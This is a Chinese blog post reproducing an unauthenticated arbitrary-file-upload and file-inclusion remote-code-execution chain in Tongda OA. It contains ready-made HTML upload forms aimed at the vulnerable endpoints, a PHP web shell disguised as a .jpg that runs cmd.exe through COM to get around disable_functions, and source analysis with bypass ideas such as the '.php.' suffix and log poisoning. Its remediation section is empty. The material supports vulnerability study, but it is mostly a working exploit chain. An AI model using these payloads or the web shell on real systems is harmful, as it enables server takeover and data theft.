美文网首页
通达OA任意文件上传+RCE

通达OA任意文件上传+RCE

作者: flashine | 来源:发表于2020-04-06 15:22 被阅读0次

0x01 影响版本

  • V11
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版
    复现使用版本 11.3

0x02 漏洞复现

  1. 文件上传
    构造文件上传html样例1:
<html>
<head>
</head>
<body>
    <form method="POST" action="http://10.10.10.133/ispirit/im/upload.php" enctype="multipart/form-data">
        <input  type="text"name='P' value = 1  ></input>
        <input  type="text"name='MSG_CATE' value = 'file'></input>
        <input  type="text"name='UPLOAD_MODE' value = 1 ></input>
        <input type="text" name="DEST_UID" value = 1></input>
        <input type="file" name="ATTACHMENT"></input>
        <input type="submit" ></input>
    </form>
</body>
</html>

文件上传样例2(需要登录才能上传):

<html>
<head>
</head>
<body>
    <form method="POST" action="http://10.10.10.133/general/reportshop/utils/upload.php" enctype="multipart/form-data">
        <input  type="text"name='filetype' value = "img"></input>
        <input  type="text" name="action" value="upload"></input>
        <input  type="file"name='FILE1' value = 'file'></input>
        <input  type="text"name='json' value = 1 ></input>
        <input type="submit" ></input>
    </form>
</body>
</html>

上传1.jpg:

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;
?>
  1. RCE
    上传文件1的路径位于MYOA/attach/im/2004/2004这个值由OA系统版本决定,从文件上传回显内容可以看到
    上传文件1
    上传文件2的文件路径位于wwwroot/attachment/reportshop/images/
    上传文件2
RCE1
RCE2

0x03 漏洞分析

  1. webroot\ispirit\im\upload.php

从代码可以看出如果在POST请求中带有P参数且不为空时,代码会将phpsession设置为P参数的值;POST请求未携带P参数时则对session中的LOGIN_USER_IDLOGIN_UID进行校验,校验失败是提示用户未登录。

// ispirit\im\upload.php
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
    ob_start();
    include_once "inc/session.php";
    session_id($P);
    session_start();
    session_write_close();
}
else {
    include_once "./auth.php";
}
...
// auth.php
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
    sleep(1);
    if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
        echo "-ERR " . _("用户未登陆");
        exit();
    }
}

针对POST参数DEST_UID进行校验,值必须为整型,校验失败时提示接收方ID无效

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
    $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }
}

文件上传处理

...
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);// 校验文件上传格式
...
if ($MSG_CATE == "file") {
    //响应包中的content内容
    $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}

  1. inc\utility_file.php
function upload($PREFIX, $MODULE, $OUTPUT){
...
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
            if (!is_uploadable($ATTACH_NAME)) {
                $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
            }
...
}
function is_uploadable($FILE_NAME){
    $POS = strrpos($FILE_NAME, "."); // 从文件名中获取最后一个.的位置
    if ($POS === false) {
        $EXT_NAME = $FILE_NAME;
    }
    else {
        if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {//判断点之后3位字符串内容是否为php
            return false;
        }
        $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
    }
    if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
        return false;
    }
    if (MYOA_UPLOAD_LIMIT == 0) {
        return true;
    }
    else if (MYOA_UPLOAD_LIMIT == 1) {
        return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
    }
    else if (MYOA_UPLOAD_LIMIT == 2) {
        return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
    }
    else {
        return false;
    }
}

添加上传的文件到数据库:

文件命名
文件复制
拼接返回的字符串content
文件中还有对$UPLOAD_MODE值的判断,基于该值输出不同的结果,值可选为123和其他值。
  1. ispirit\interface\gateway.php
//解析请求的json参数
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;
            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }
        if ($key == "url") {
            $url = $val;//获取json中的url参数
        }
    }
    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }
//如果url参数中含有general/、ispirit/、module/之一,那么就include_once url中的值,即可包含任意文件
        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }
    exit();
}

0x04 修复方式

0x05 一点思考

  1. 待解决的一些问题
  • 代码分析时全局查找没找到$ids是怎么定义的
  • 没找到$_POST["UPLOAD_MODE"]获取$UPLOAD_MODE,不知道为什么就可以通过POST请求获取,$json参数也是
  • 由于获取的代码都是解密得到的,对于这种没搞过动态调试,部分参数值不太清楚
  1. 一些其他的想法:
  • 上传文件只判断了.php,没判断.php.,可以绕过
  • 文件包含也可以尝试包含其他文件,比如get请求记录到日志中,然后在gateway.php中进行包含
  • 文件利用不需要登录
  1. 为什么上传的jpg文件要写成那样:
    因为php.ini写了如下内容:
disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo

0x06 参考

相关文章

网友评论

      本文标题:通达OA任意文件上传+RCE

      本文链接:https://www.haomeiwen.com/subject/qgmvphtx.html